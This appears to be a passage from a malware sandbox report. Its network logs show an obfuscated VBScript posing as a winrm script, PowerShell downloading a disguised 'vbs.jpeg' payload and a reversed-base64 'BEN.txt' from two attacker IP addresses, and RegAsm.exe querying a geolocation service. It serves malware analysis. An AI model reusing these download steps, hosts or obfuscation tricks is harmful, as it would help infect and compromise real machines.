                      Data Ascii: dim illaceradoEE illaceradoE = raninoanadar("L_HelpAlias_001_0_Message") & illaceradoE & _anadar("L_HelpAlias_002_0_Message") & illaceradoE & _anadar("L_HelpAlias_003_0_Message") & illaceradoE & _anadar("X_HelpAlias_004_0_Message") & illaceradoE & _anadar("X_HelpAlias_005_0_Message") & illaceradoE & _anadar("X_HelpAlias_006_0_Message") & illaceradoE & _anadar("X_HelpAlias_007_0_Message") & illaceradoE & _anadar("X_HelpAlias_008_0_Messag
                      Jul 29, 2024 15:22:25.539612055 CEST1236INData Raw: 65 00 22 00 29 00 20 00 26 00 20 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00 6f 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 6e 00 61 00 64 00 61 00 72 00 28 00 22 00 58 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00
                      Data Ascii: e") & illaceradoE & _anadar("X_HelpAlias_009_0_Message") & illaceradoE & _anadar("L_HelpAlias_010_0_Message") & illace
                      Jul 29, 2024 15:22:25.539623022 CEST1236INData Raw: 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 32 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00
                      Data Ascii: "L_HelpAlias_002_0_Message") & eillaceradoE & _anadar("L_HelpAlias_003_0_Message") & eillaceradoE & _anadar("X_HelpAli
                      Jul 29, 2024 15:22:25.539635897 CEST1236INData Raw: 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 31 00 33 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 65 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00 6f 00 45 00
                      Data Ascii: _HelpAlias_013_0_Message") & eillaceradoE & _anadar("L_HelpAlias_014_0_Message") & eillaceradoE & _anadar("X_HelpAlias
                      Jul 29, 2024 15:22:25.539649010 CEST1236INData Raw: 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 6f 00 65 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00 6f 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 6e 00 61 00 64 00 61 00 72 00 28 00
                      Data Ascii: _0_Message") & oeillaceradoE & _anadar("X_HelpAlias_007_0_Message") & oeillaceradoE & _anadar("X_HelpAlias_008_0_Messa
                      Jul 29, 2024 15:22:25.539660931 CEST1236INData Raw: 65 00 72 00 61 00 64 00 6f 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 6e 00 61 00 64 00 61 00 72 00 28 00 22 00 63 00 68 00 69 00 62 00 61 00 6e 00 74 00 69 00 63 00 65 00 22 00 29 00 0d 00 0a 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00
                      Data Ascii: eradoE & _anadar("chibantice")private const L_OillaceradoYCSCRIPT_Message = "Can be executed only by cscript.exe
                      Jul 29, 2024 15:22:25.539674997 CEST1236INData Raw: 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 55 00 4e 00 4b 00 4f 00 50 00 54 00 5f 00 47 00 65 00 6e 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 49 00 6e 00 76 00 61 00 6c 00
                      Data Ascii: const L_UNKOPT_GenMessage = "Invalid use of command line. Type ""winrm -?"" for help."private const L_HELP_GenMes
                      Jul 29, 2024 15:22:25.539686918 CEST1236INData Raw: 73 00 69 00 6e 00 67 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00 20 00 4c 00 5f 00 41 00 43 00 54 00 49 00 4f 00 4e 00 4d 00 49 00 53 00 53 00 49 00 4e 00 47 00 5f 00 4d 00 65 00 73 00 73 00
                      Data Ascii: sing"private const L_ACTIONMISSING_Message = "Action is missing"private const L_URIZERO_Message = "URI is 0
                      Jul 29, 2024 15:22:25.539699078 CEST1236INData Raw: 6f 00 72 00 6d 00 20 00 7b 00 4b 00 45 00 59 00 3d 00 22 00 22 00 56 00 41 00 4c 00 55 00 45 00 22 00 22 00 5b 00 3b 00 4b 00 45 00 59 00 3d 00 22 00 22 00 56 00 41 00 4c 00 55 00 45 00 22 00 22 00 5d 00 7d 00 22 00 0d 00 0a 00 70 00 72 00 69 00
                      Data Ascii: orm {KEY=""VALUE""[;KEY=""VALUE""]}"private const L_ARGNOVAL_Message = "Argument's value is not provided: "priv
                      Jul 29, 2024 15:22:25.539712906 CEST1236INData Raw: 4d 00 5f 00 4e 00 4f 00 4d 00 41 00 54 00 43 00 48 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 3d 00 20 00 22 00 50 00 61 00 72 00 61 00 6d 00 65 00 74 00 65 00 72 00 20 00 6e 00 61 00 6d 00 65 00 20 00 64 00 6f 00 65 00 73 00 20 00
                      Data Ascii: M_NOMATCH_Message = "Parameter name does not match any properties on resource: "private const L_PUT_PARAM_MULTIMATCH_Mes
                      Jul 29, 2024 15:22:25.539729118 CEST1236INData Raw: 65 00 20 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 4c 00 6f 00 63 00 61 00 74 00 6f 00 72 00 20 00 6f 00 62 00 6a 00 65 00 63 00 74 00 2e 00 22 00 0d 00 0a 00 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 63 00 6f 00 6e 00 73 00 74 00
                      Data Ascii: e ResourceLocator object."private const L_PUT_PARAM_NOINPUT_Message = "No input provided through ""@{...}"" or ""-file:"


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      6192.168.2.2249167198.46.176.133803168C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:29.149445057 CEST79OUTGET /Upload/vbs.jpeg HTTP/1.1
                      Host: 198.46.176.133
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:29.657377005 CEST1236INHTTP/1.1 200 OK
                      Date: Mon, 29 Jul 2024 13:22:29 GMT
                      Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
                      Last-Modified: Wed, 10 Jul 2024 11:19:54 GMT
                      ETag: "1d7285-61ce2d35c4b0c"
                      Accept-Ranges: bytes
                      Content-Length: 1929861
                      Keep-Alive: timeout=5, max=100
                      Connection: Keep-Alive
                      Content-Type: image/jpeg
                      Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED]
                      Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5*sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/*Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B*,xGU5Pay'rErv^uYt7*0ur$UxA-OF9>uI^O^gy4A
                      Jul 29, 2024 15:22:29.657406092 CEST224INData Raw: 70 9b 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04
                      Data Ascii: pC.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQ
                      Jul 29, 2024 15:22:29.657419920 CEST1236INData Raw: ed 93 f7 72 19 58 8b 1d 70 91 49 4a 19 fa 9c ed 49 90 3a 84 7b de 2b e5 80 a4 69 24 84 28 5b 55 26 b1 97 89 c4 65 9c 52 a8 e0 63 10 ed 81 42 05 dc 3b 9f 7c 99 7c c4 47 60 39 ae 3e 18 09 92 b1 ed 61 5e 66 f6 f4 9e c0 67 e8 ef b0 7e 20 66 fd 90 f8
                      Data Ascii: rXpIJI:{+i$([U&eRcB;||G`9>a^fg~ f/|Dt?Rsbo;if3fe~<().\U~n;T?WLYW,V;t?7 X~al{2&y!S4pjV3JEP JIw$8
                      Jul 29, 2024 15:22:29.657432079 CEST1236INData Raw: fe 1e 17 e0 30 21 17 5c 80 44 59 58 aa 8a 05 ba 0c ed 60 f1 08 e0 43 3c 8a d1 83 6a 01 53 59 0b 04 b2 4b 61 f7 1b a0 72 35 ba 3d 42 c9 02 49 23 32 48 2b e0 0d e0 7a 7f d9 b2 ea a7 fb 63 e1 d2 19 14 e9 d5 a5 2c bb 85 9f dd 30 e9 9f 5e d2 f8 5e 87
                      Data Ascii: 0!\DYX`C<jSYKar5=BI#2H+zc,0^^AHq7[GWu:xR_2P00u>!%gj_YtVR, \^3x-Yb>?hF`ms0~~".C7mW4fgp~4q3
                      Jul 29, 2024 15:22:29.657444000 CEST1236INData Raw: 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa 87 8e 68 19 64 e5 58 1e 7d b3 c1 69 f4 cd ad fb 40 9a 7b 12 c1 09 34 5b a0 5e b9 ec 5e 3f bc
                      Data Ascii: -W(=+EDhyS+z`a(hdX}i@{4[^^?#nx!x9,z"Ta~C!C3@8`mFfYk0?g3OWa4vA{`)D^*'8^U]H,^`&!Sgk&iNTS3B
                      Jul 29, 2024 15:22:29.657455921 CEST1236INData Raw: 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07
                      Data Ascii: 6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo|$vd^b
                      Jul 29, 2024 15:22:29.657469988 CEST1236INData Raw: 91 18 33 6e 59 1b 76 d2 cb 62 bb e7 97 7d 3c ea 15 e4 8d 81 63 40 93 66 fd bf 5c 03 4b 34 93 b0 32 37 27 f4 c0 9f 45 f1 79 ac f2 68 1b c3 62 8c 07 59 57 b8 5b 60 7b df c3 1b 3a cd 34 1e 1a 3c a4 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c
                      Data Ascii: 3nYvb}<c@f\K427'EyhbYW[`{:4<RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^
                      Jul 29, 2024 15:22:29.657649994 CEST1236INData Raw: fc b1 7d 66 ad 20 fd dd 29 2a 6e f7 73 ce 67 99 0b 53 0e 54 f4 c0 d0 7d 54 6e a5 4e 9e 20 4f 1b b6 f3 95 52 9e 5f 30 46 d5 c0 f4 31 ff 00 ea 73 3f ce 25 c8 29 67 b0 ca 7d ed bc c2 0c 4b b4 7f 95 6f f3 ac 07 c3 a0 6e 74 d0 86 ef c3 5f e5 b7 25 91
                      Data Ascii: }f )*nsgST}TnN OR_0F1s?%)g}Kont_%vmX?sHUe[w!j^kX6?q+9f5!KdC)u_9mV5*~]#F:{Zr:T.f{b@]~.`/?$TOa-JVz&Y6+mp
                      Jul 29, 2024 15:22:29.657660961 CEST1236INData Raw: 04 7e 1a e3 1b 4d 2e 9e 85 c2 be e0 d7 23 03 7a 5f b6 09 29 14 c5 65 dd 6c cd d0 8a c6 b4 df 6c 34 e3 78 96 98 57 0c a7 3c ab c5 a6 8e 42 cf 0a b5 8e 2f 02 b0 42 0b 12 81 41 ed 58 1e d7 53 f6 cf c3 e0 84 9d 8d 23 11 c0 0d 81 ff 00 e3 0d 24 aa 5d
                      Data Ascii: ~M.#z_)ell4xW<B/BAXS#$]`bv]Ux$Dt,mJyj]eUK1 5!W&i-t?&WBymFYK}*i@"7c&VVP<#1,8GxjX?9
                      Jul 29, 2024 15:22:29.657671928 CEST1236INData Raw: 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9
                      Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."
                      Jul 29, 2024 15:22:29.662694931 CEST1236INData Raw: 2c 4e 80 47 2a b5 05 dd 83 d3 29 55 65 55 65 1b 88 c0 d0 66 49 22 dc ae c1 81 be 17 8e 98 b8 77 8c 15 90 2d 6e ea 32 88 5e 32 40 1b ab 2a 25 32 69 64 0c c3 75 1f cc 74 c0 b4 00 44 43 48 3d 24 9e be d9 57 87 73 82 09 b3 d6 b1 53 aa 77 34 e4 5d 03
                      Data Ascii: ,NG*)UeUefI"w-n2^2@*%2idutDCH=$WsSw4]GI@*~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk*>BDoGJp+m+{


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      7192.168.2.2249168172.245.123.11803168C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:31.742058039 CEST74OUTGET /47/BEN.txt HTTP/1.1
                      Host: 172.245.123.11
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:32.240287066 CEST1236INHTTP/1.1 200 OK
                      Date: Mon, 29 Jul 2024 13:22:32 GMT
                      Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                      Last-Modified: Mon, 29 Jul 2024 05:43:50 GMT
                      ETag: "a1000-61e5c5878b9d1"
                      Accept-Ranges: bytes
                      Content-Length: 659456
                      Keep-Alive: timeout=5, max=100
                      Connection: Keep-Alive
                      Content-Type: text/plain
                      Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 38 67 4b 50 49 79 44 62 38 77 45 50 73 77 44 43 37 77 2f 4f 63 76 44 73 37 51 35 4f 30 74 44 56 37 41 7a 4f 51 6f 44 37 36 77 73 4f 73 71 44 6a 36 77 6d 4f 45 70 44 4b 36 41 68 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66 4f 67 4f 44 4e 7a 41 6a 4d 6b 4b 44 6f 79 51 6f 4d 41 4b 44 66 79 41 6e 4d 59 4a 44 53 79 67 6a 4d 6f 49 44 47 78 67 65 4d 59 48 44 31 78 41 64 4d 4d 48 44 79 78 51 63 4d 41 48 44 76 78 67 62 4d 73 47 44 71 78 51 61 4d 67 47 44 6e 78 67 5a 4d 55 47 44 6b 78 77 59 4d 49 47 44 65 78 51 58 4d 77 42 41 41 41 77 49 41 48 41 42 41 41 41 67 50 6b 36 44 6b 2b 67 6f 50 30 35 44 62 2b 51 6d 50 63 35 44 57 2b 41 6c 50 38 34 44 4e 2b 41 69 50 59 34 44 45 2b 67 67 50 45 34 44 41 39 77 66 50 34 33 44 38 39 77 65 50 6b 33 44 30 39 67 63 50 30 32 44 72 39 51 61 50 63 32 44 65 39 41 [TRUNCATED]
                      Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8gKPIyDb8wEPswDC7w/OcvDs7Q5O0tDV7AzOQoD76wsOsqDj6wmOEpDK6AhOIoDB6AQO8nD+5QfOgODNzAjMkKDoyQoMAKDfyAnMYJDSygjMoIDGxgeMYHD1xAdMMHDyxQcMAHDvxgbMsGDqxQaMgGDnxgZMUGDkxwYMIGDexQXMwBAAAwIAHABAAAgPk6Dk+goP05Db+QmPc5DW+AlP84DN+AiPY4DE+ggPE4DA9wfP43D89wePk3D09gcP02Dr9QaPc2De9AXPo1DZ9gUPo0DJ9gAPozDy8gKPIyDa8gEPowDC7g+OIvDq7g4OotDS7gyOIoD66gsOoqDi6gmOIpDK6QiOIkD65gcOomDi5wWOolDY5AUOgkDA4AOOAjDo4AIOghDQ4ACOEcD+3g9N4eDm3g3NYdDO3ghN4bD52wtNYbD02gsNAbDv2ApNIaDf2glNIZDR2giNkYDD2ggNAUD51AeNYXDp1gZN4VDb1AUNsUDJ1ASNcUDF1wQNEQD80gONkTD40gNNQTDy0QLNsSDm0AJNMSDi0AIN4RDc0wFNURDU0gENARDO0QDNYQDFzw/MsPDuzA7MkODlzA2MYNDTzwzMIMDAyQvMkLDsygqMcKDjyglMQJDRyQjMAED+xweMcHDqxAaMUGDhxAVMIFDPxwCM4DD8wQOMcDD1wAKMYCDjwQIM8BDSwAEM0ADLwQCAAEAkAYA4AAAA/A/Po/D3/w8PY+Dk/Q4P09DQ/gzPs8DH/wgP47Dt+wqPg6Dk+AoPs5DK+AiPU4DB9AdPInDe5AWOYlDV5AVOAlDP5wSOUkDD5gQOEkDA4wPO4jD64QOOUjDv4QLOwiDr4
                      Jul 29, 2024 15:22:32.240303993 CEST224INData Raw: 67 4b 4f 6b 69 44 6f 34 41 4a 4f 4d 69 44 66 34 51 47 4f 63 68 44 57 34 51 46 4f 51 68 44 54 34 77 44 4f 34 67 44 4b 34 41 42 4f 49 67 44 42 34 41 77 4e 38 66 44 2b 33 67 2b 4e 6b 66 44 31 33 77 37 4e 30 65 44 73 33 77 36 4e 63 65 44 6d 33 67 34
                      Data Ascii: gKOkiDo4AJOMiDf4QGOchDW4QFOQhDT4wDO4gDK4ABOIgDB4AwN8fD+3g+NkfD13w7N0eDs3w6NceDm3g4NEeDd3w1NUdDU3A0NocDI3wxNYcDF3QgNsbD62AtNIbDx2AsN8aDu2gqNkaDl2wnN0ZDc2AmNcZDT2QjNsYDK2QiNUYDE2AQNoXD41wdNYXD11QcNAXDs1gZNQWDj1gYNEWDd1AXNgVDS1
                      Jul 29, 2024 15:22:32.240400076 CEST1236INData Raw: 41 55 4e 38 55 44 4f 31 67 53 4e 6b 55 44 46 30 77 50 4e 30 54 44 38 30 77 4f 4e 6f 54 44 32 30 51 4e 4e 45 54 44 72 30 51 4b 4e 67 53 44 6e 30 77 49 4e 49 53 44 65 30 41 47 4e 59 52 44 56 30 51 45 4e 41 52 44 4d 30 67 42 4e 51 51 44 44 7a 77 2f
                      Data Ascii: AUN8UDO1gSNkUDF0wPN0TD80wONoTD20QNNETDr0QKNgSDn0wINISDe0AGNYRDV0QENARDM0gBNQQDDzw/M4PD4zw9MYPD1zA8M4ODtAAQAgBgBQDQOYkDFAAAAMAgBADAAA0D4AAAAMAgBwCAOgjD24QIOAiDf4gEOogDB3w+NofD23A8NIeDe3w1NYdDO3QzNwcDLAAAAwAgBQCgNwYDL1AbNsWDq1QaNgWDn1gZNMWDi1QYN
                      Jul 29, 2024 15:22:32.240411043 CEST1236INData Raw: 6d 44 70 35 77 5a 4f 55 6d 44 6a 35 51 59 4f 38 6c 44 64 35 77 57 4f 6b 6c 44 58 35 51 56 4f 4d 6c 44 52 35 77 54 4f 30 6b 44 4c 35 51 53 4f 63 6b 44 46 35 77 51 4f 45 67 44 2f 34 51 50 4f 73 6a 44 35 34 77 4e 4f 55 6a 44 7a 34 51 4d 4f 38 69 44
                      Data Ascii: mDp5wZOUmDj5QYO8lDd5wWOklDX5QVOMlDR5wTO0kDL5QSOckDF5wQOEgD/4QPOsjD54wNOUjDz4QMO8iDt4wKOkiDn4QJOMiDh4wHO0hDb4QGOchDV4wEOEhDP4QDOsgDJ4wBOUgDD4QwN8fD93w+NkfD33Q9NMfDx3w7N0eDr3Q6NceDl3w4NEeDf3Q3NsdDZ3w1NUdDT3Q0N8cDN3wyNkcDH3QxNMcDB2wvN0bD72QuNcbD1
                      Jul 29, 2024 15:22:32.240423918 CEST1236INData Raw: 77 6d 4f 6f 70 44 5a 36 41 6d 4f 63 70 44 57 36 51 6c 4f 51 70 44 54 36 67 6b 4f 45 70 44 51 36 77 6a 4f 34 6f 44 4e 36 41 6a 4f 73 6f 44 4b 36 51 69 4f 67 6f 44 48 36 67 68 4f 55 6f 44 45 36 77 67 4f 49 6f 44 42 36 41 51 4f 38 6e 44 2b 35 51 66
                      Data Ascii: wmOopDZ6AmOcpDW6QlOQpDT6gkOEpDQ6wjO4oDN6AjOsoDK6QiOgoDH6ghOUoDE6wgOIoDB6AQO8nD+5QfOwnD75geOknD45wdOYnD15AdOMnDy5QcOAnDv5gbO0mDs5waOomDp5AaOcmDm5QZOQmDj5gYOEmDg5wXO4lDd5AXOslDa5QWOglDT5gUOElDQ4QFOQhDT4gEAAAA4AUAwAAAA1AcN4WDs1gaNgWDm1AZNIWDg1gXN
                      Jul 29, 2024 15:22:32.240552902 CEST1236INData Raw: 6e 44 37 35 51 65 4f 63 6e 44 31 35 77 63 4f 45 6e 44 76 35 51 62 4f 73 6d 44 70 35 77 5a 4f 55 6d 44 6a 35 51 59 4f 38 6c 44 64 35 77 57 4f 6b 6c 44 58 35 51 56 4f 4d 6c 44 52 35 77 54 4f 30 6b 44 4c 35 51 53 4f 63 6b 44 46 35 77 51 4f 45 67 44
                      Data Ascii: nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj5QYO8lDd5wWOklDX5QVOMlDR5wTO0kDL5QSOckDF5wQOEgD/4QPOsjD54wNOUjDz4QMO8iDt4wKOkiDn4QJOMiDh4wHO0hDb4QGOchDV4wEOEhDP4QDOsgDJ4wBOUgDD4QwN8fD93w+NkfD33Q9NMfDx3w7N0eDr3Q6NceDl3w4MwODrzg6MkODozw5MYODlzA5MMODizQ4MAODf
                      Jul 29, 2024 15:22:32.240566015 CEST1236INData Raw: 41 6a 50 70 37 54 79 2b 30 72 50 78 36 54 6e 2b 45 70 50 76 34 7a 4a 2b 6b 67 50 42 30 54 2b 39 45 66 50 70 33 6a 6d 39 34 33 4f 78 76 7a 35 37 30 37 4f 77 75 6a 54 37 30 7a 4f 33 73 6a 4d 37 77 79 4f 4f 73 54 42 36 77 76 4f 6e 72 7a 59 36 6f 6b
                      Data Ascii: AjPp7Ty+0rPx6Tn+EpPv4zJ+kgPB0T+9EfPp3jm943Oxvz5707OwujT70zO3sjM7wyOOsTB6wvOnrzY6okOCkD85MeOYnDt5QYO3lTX4IPOyezv38jNjZjHzA2MaFjOwEPMNDjuw4KMiCjlwEFM5AjDAAAAICQBgBwPv/D3/A9PE/zn/Q3Py8TK/MyPY8TD+MvPN7zs+EoPZ5TK+ERPu2jk9cTPs0jD9QAPxzj56QtOFhDy20nN
                      Jul 29, 2024 15:22:32.240577936 CEST1236INData Raw: 71 44 6b 36 63 6f 4f 78 70 7a 57 36 41 69 4f 56 6f 44 44 35 73 64 4f 54 6e 6a 52 35 55 54 4f 6c 6b 54 48 35 77 41 4f 38 66 7a 2b 33 59 36 4e 57 65 54 65 33 55 67 4e 51 56 54 36 31 45 57 4e 55 55 54 43 30 55 50 4e 59 54 54 6f 30 38 46 4e 75 4d 6a
                      Data Ascii: qDk6coOxpzW6AiOVoDD5sdOTnjR5UTOlkTH5wAO8fz+3Y6NWeTe3UgNQVT61EWNUUTC0UPNYTTo08FNuMjMzMyMXMzByouMiLDuyEmMVJTSyUjMpEzxx8bMhGTmxEZMJGTPw4NMWCjewwDMyADEAAAA4CABQDAAA8D//89Pw+Tm/o2PV9TB+EePY3Dt9oAPAzzo8AHPYtzz7c7OruTd7I2OksTF6YtOxpzF6wQO/nD354bOBgDu
                      Jul 29, 2024 15:22:32.240628004 CEST1236INData Raw: 73 30 4d 70 4d 7a 48 7a 49 78 4d 4a 49 7a 37 79 34 74 4d 70 4b 44 6f 79 38 6f 4d 44 4b 44 61 79 63 6c 4d 69 49 7a 47 78 34 65 4d 6e 48 6a 4c 77 49 4c 4d 65 43 41 41 42 51 4a 41 45 41 49 41 2f 49 36 50 58 39 7a 4a 2b 59 76 50 6d 79 7a 38 37 73 4d
                      Data Ascii: s0MpMzHzIxMJIz7y4tMpKDoy8oMDKDayclMiIzGx4eMnHjLwILMeCAABQJAEAIA/I6PX9zJ+YvPmyz87sMOJcTp1oHNzQzL0sCNnQzI08BNbQzFyEmMEET1xoGM3ATBAAAA4AABwBAAA4ze+AXPO2DZ9oTPNwz+8c4OLvzc7k0OjoT/6g7Nsejm3QZMkHj3xsWMlFzBwgNMODDxAAAA8AABgBAAA4zX98FPYyjf8sGPRxjP8QyO
                      Jul 29, 2024 15:22:32.240639925 CEST1236INData Raw: 50 44 36 7a 51 2b 4d 67 50 7a 56 79 41 75 4d 63 4c 44 32 79 51 74 4d 51 4c 44 7a 79 67 73 4d 45 4c 7a 4c 78 67 62 4d 30 47 44 73 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 7a 45 41 41 41 41 6b 42 77 41 51 44 77 50 2f 39 54 62 2f 73 30 50 32 38 6a
                      Data Ascii: PD6zQ+MgPzVyAuMcLD2yQtMQLDzygsMELzLxgbM0GDsxwaMoGDpxAaMcGzEAAAAkBwAQDwP/9Tb/s0P28jF/QQPn3jK2gHN8PDgyYtMFKDfygmMMITAxMfMlHD2xIcMtGjixMXMeFjTxAUM0EDKxoRMLAT8AAAAIBwAADwPV7zW9sdPG1zP8ANPFzDq8gHPmxzM8YCPcsjLAAAAkAwAwCAAAkjM5gCOejD14EKOUej5349NVfDm
                      Jul 29, 2024 15:22:32.245456934 CEST1236INData Raw: 63 44 50 77 77 6a 4b 38 51 43 50 54 73 6a 39 37 45 2b 4f 62 76 7a 30 37 34 37 4f 78 75 54 70 37 63 35 4f 79 6c 44 41 34 6b 50 4f 74 6a 54 31 34 30 46 4f 52 64 44 72 33 59 36 4e 4e 64 6a 51 32 51 76 4e 6c 62 7a 33 32 63 74 4e 37 5a 7a 55 31 34 63
                      Data Ascii: cDPwwjK8QCPTsj97E+Obvz0747OxuTp7c5OylDA4kPOtjT140FORdDr3Y6NNdjQ2QvNlbz32ctN7ZzU14cNhWDn1cYNyVjV1AUN4UzL14BN/RDY0sEN+QjL0kxMGPDuz84M8NzYzg0M4MDMzchMtLT3yUtM9KTny0nMhJjQyciMKEz6x4cMJHjtxwaMiGDnxcZMMGDhxwXM0FTbxYWMfFDWxEVMKFzQx0TM3ETMxsSMlAj8wkOM


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      8192.168.2.2249170178.237.33.50803320C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:37.091473103 CEST71OUTGET /json.gp HTTP/1.1
                      Host: geoplugin.net
                      Cache-Control: no-cache
                      Jul 29, 2024 15:22:37.719880104 CEST1170INHTTP/1.1 200 OK
                      date: Mon, 29 Jul 2024 13:22:37 GMT
                      server: Apache
                      content-length: 962
                      content-type: application/json; charset=utf-8
                      cache-control: public, max-age=300
                      access-control-allow-origin: *
